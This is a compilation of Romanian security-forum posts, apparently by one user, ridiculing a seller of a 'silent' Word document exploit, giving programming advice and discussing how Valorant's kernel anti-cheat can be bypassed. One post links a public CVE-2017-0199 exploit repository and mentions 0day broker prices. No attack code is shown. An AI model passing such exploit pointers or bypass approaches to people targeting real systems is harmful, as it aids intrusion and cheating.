Da, am vazut multe pareri bune despre acea carte asa ca ti-o recomand. Ulterior poti trece la altele, trebuie sa le iei pe rand.

Gasesti documentatie legat de orice pe Internet, trebuie doar sa fii motivat. 

[Reverse engineering workshops]

Nu, dar arata extrem de bine, contine multe informatii utile si e foarte bine organizat!

[Salutare!]

Bine ai venit. Si RST e foarte bun la capitolul SEO. E primul rezultat la cautarea "invitatie filelist". 

Nu stim de ce, dar parca nu vrem sa mai fie. Daca despre SEO mai stim cate ceva, despre anti-SEO stii cate ceva? Ce am putea face? 

[Silent Exploit .docx Private | MalSecAnonimDarkhost]

Acel MalSec, rusnac sau ce o fi, care vinde de fapt asa ceva (probabil Gigel de mai sus nu il are, ci doar e tepar), zice ca merge pana la Office 2016. 

Uitati ceva mai recent, open-source: https://github.com/bhdresh/CVE-2017-0199 gasit random si fara sa vreau. Sunt si altele, publice, gratis, open source.

Cat despre ceva modern, care sa functioneze pe ultimele versiuni, adica 0day... https://zerodium.com/program.html -> Oficial si legal se pot obtine 100.000 de euro pe el. Cat despre piata neagra, nici nu se pune problema.

 

Cu alte cuvinte, hacker cu 69 in username, nimeni de aici nu e atat de dobitoc sa dea nici macar 10 euro pentru ceea ce tu pretinzi ca ai. Probabil nici nu ai.

Acum serios, daca ai nevoie de niste bani, 20-30 de euro, zi-ne direct si iti trimitem, nu suntem chitrosi. 

[Silent Exploit .docx Private | MalSecAnonimDarkhost]

Ce cred eu, sincer, despre aceasta persoana: a cumparat si el acele mizerii de pe cine stie ce porcarie de forum si na, roman, vrea sa faca si el un ban cinstit.

Probabil in cateva minute putem gasi de unde le-a luat, dar nu isi pierde nimeni timpul cu asa ceva.

Cat despre noi, scriam tool-uri dinastea de "hacking" prin 2008. Uite aici un crypter facut de mine in 2009: 

 

Cu alte cuvinte stim ce vorbim. Mai ales ca au trecut peste 10 ani de atunci si noi am invatat multe alte lucruri intre timp. Si inca invatam.

Cat despre tine nu stim nimic. Bine, stim, ca ai numele in adresa de mail, degeaba incerci sa te ascunzi prin Telegrame...

[Silent Exploit .docx Private | MalSecAnonimDarkhost]

M-am uitat putin pe acel filmulet care incainta pustanii de 12 ani cu efecte vizuale.

Cand selecteaza un document scrie in paranteze "Payload VBS". Haa  Pe bune bre? Vinzi Word cu macro? Exista retardati care cumpara asa ceva pe hackforums? 

[[RST] NetRipper - Smart traffic sniffing for penetration testers]

Nop, e necesar sa ruleze pe masina care timite/primeste trafic. Doar la nivel de retea, daca se verifica certificatele cum trebuie, nu se poate face nimic. 

[Oracle warns of attacks against recently patched WebLogic security bug]

Imi pare rau pentru cei care folosesc Weblogic, nu cred ca exista software cu mai multe vulnerabilitati critice decat chestia asta. Bine, poate IE.

[E-Learning]

Salut, exista firme la care se preda programarea. Nu le cunosc, DAR sunt destul de sigur ca vei invata foarte bine de acolo. Insa sunt 2 probleme:

1. Costa ceva, probabil nu foarte mult, nu am idee

2. Dureaza al dracu de mult. Adica vreo 6 luni sau chiar mai mult. Stiu ca sa inveti programare, dar in 6 ani invat sa proiectez rachete

 

Cat despre facultate nu o sa te ajute atat de mult cat iti imaginezi. Insa da foarte bine la CV.

 

Sugestia mea e sa inveti singur si sa practici singur. Partea cu practicatul e extrem de importanta. Si iti aduce un portofoliu pe care il ai pentru angajare.

Cel mai important e sa alegi ceea ce iti place. Iti place PHP? Mergi cu el mai departe. Cred ca se cauta mai mult Java, dar orice e OK. Dupa ce inveti un limbaj bine poti trece destul de usor pe altul.

 

Daca ai nevoie de alte sugestii, poti sa vii cu niste intrebari mai concrete. Sau sa ne spui ca iti place, ce ai vrea sa faci etc. Si sa intelegi ca noi ne dam cu parerea, nu inseamna ca orice zicem e adevarat.

[Silent Exploit .docx Private | MalSecAnonimDarkhost]

Bre, ti-am mai zis si in privat, nu o sa cumpere nimeni mizeriile astea de la tine. Nu avem 15 ani ca ratatii aia de pe Hackforums. Incearca acolo.

"Silent exploit" - DACA merge, este ceva pentru Office 2007 sau ceva versiuni de 10 ani pe care nu le foloseste nimeni. Si la banii aia...

Adica esti penibil si te faci de ras.

[RIOT IS OFFERING US$100,000 IF YOU CAN EXPLOIT VALORANT’S ANTI-CHEAT SYSTEM]

Imi da 404 not found la fisier.

Da, am vazut poza, link-ul catre acea poza si invitatia de join in echipa aparea la "strings" pe binar.

 

PS: Destul de multi oameni pentru ceva atat de nisat.

[RIOT IS OFFERING US$100,000 IF YOU CAN EXPLOIT VALORANT’S ANTI-CHEAT SYSTEM]

Orice anticheat poate fi bypassat din moment ce local, in joc, se pot intampla lucruri care sa afecteze cumva ce se intampla pe server si mai departe la ceilalti useri.

Mai exact, daca la tine in PC, in joc, ajung coordonatele celorlati jucatori (e.g. wall) atunci se poate manipula jocul incat sa ii arate, chiar prin pereti. Daca jocul tau nu ar primi aceste informatii de la server, nu ar avea de unde sa stie unde sunt. Aici depinde totul de arhitectura jocului si de ce se poate face local. Evident, nu se poate face totul pe server si desigur, apar probleme cu cheat-urile.

 

Legat de VM, nu e nevoie de asa ceva. E destul de complicat sa rulezi cod printr-un hypervisor intr-un guest OS. In cazul de fata se poate face totul ca la orice alt joc, doar ca bypass-urile trebuie sa se faca la ring 0 in loc de ring 3 si care doar complica lucrurile pentru un anti-cheater. E un "mitigation" nu un "protection" pana la urma. Asta e scopul, sa faca cat mai dificil un cheat, ca de prevenit complet nu are cum. Asta se poate face doar la jocuri simple, minimale, unde logica completa se face pe server nu pe client, ceea ce e greu in practica.

[RIOT IS OFFERING US$100,000 IF YOU CAN EXPLOIT VALORANT’S ANTI-CHEAT SYSTEM]

Din punctul meu de vedere, principala preocupare a tuturor ar trebui sa fie posibilitatea de RCE. Care desi nu ofera acces NT Authority/System, e exact ceea ce au nevoie atacatorii: acces la fisiere, browsere si ce mai vor ei. Cred ca stim cu totii cu cineva putea fi exploatat doar conectandu-se la un server de CS:GO si descarcand o harta...

 

Treaba asta cu privilege escalation e necesara in mediul Corporate in care atacatorii vor sa ajunga Domain Admin. Pe un sistem de acasa, nu au nevoie de asa ceva. 

[RIOT IS OFFERING US$100,000 IF YOU CAN EXPLOIT VALORANT’S ANTI-CHEAT SYSTEM]

Da, ai dreptate in sensul ca mareste suprafata de atac. E un risc in plus cu care sunt de acord. Eu tind sa am "incredere" in el (desi nu ma joc) deoarece platesc foarte bine pentru probleme de securitate. Asta nu se intampla cu alte drivere. 

 

Eu ma astept sa fie mai eficient ca VAC, care nu parea sa faca mare lucru, deoarece creste complexitatea atat a unei persoane care vrea sa dezvolte un anti-cheat cat si a unei persoane care vrea sa foloseasca un cheat - nu va putea rula in mod obisnuit un driver nesemnat, va trebui sa intre in debug mode ca sa ruleze cheat-driver-ul care sa faca disable la anti-cheat.

 

Daca e sa privim dintr-un punct de vedere asemanator lucrurile, PatchGuard-ul de pe Windows de asemenea poate fi bypassat dar se bazeaza pe multe trucuri inteligente de memory tampering. La fel ca si la Vanguard, creste vizibil nivelul de skills necesar pentru bypass. Dar nu e imposibil, evident.

 

Daca va avea un sistem de auto-update simplu pentru useri si ar permite doar jucatul pe ultimele versiuni, asteptandu-ma ca mereu sa vina cu lucruri noi la anti-cheat, lucrurile vor sta bine. Poate fi problema celor care au facut bypass si au o versiune mai veche de joc. Cu putina cryptografie cred ca se pot face nieste verificari.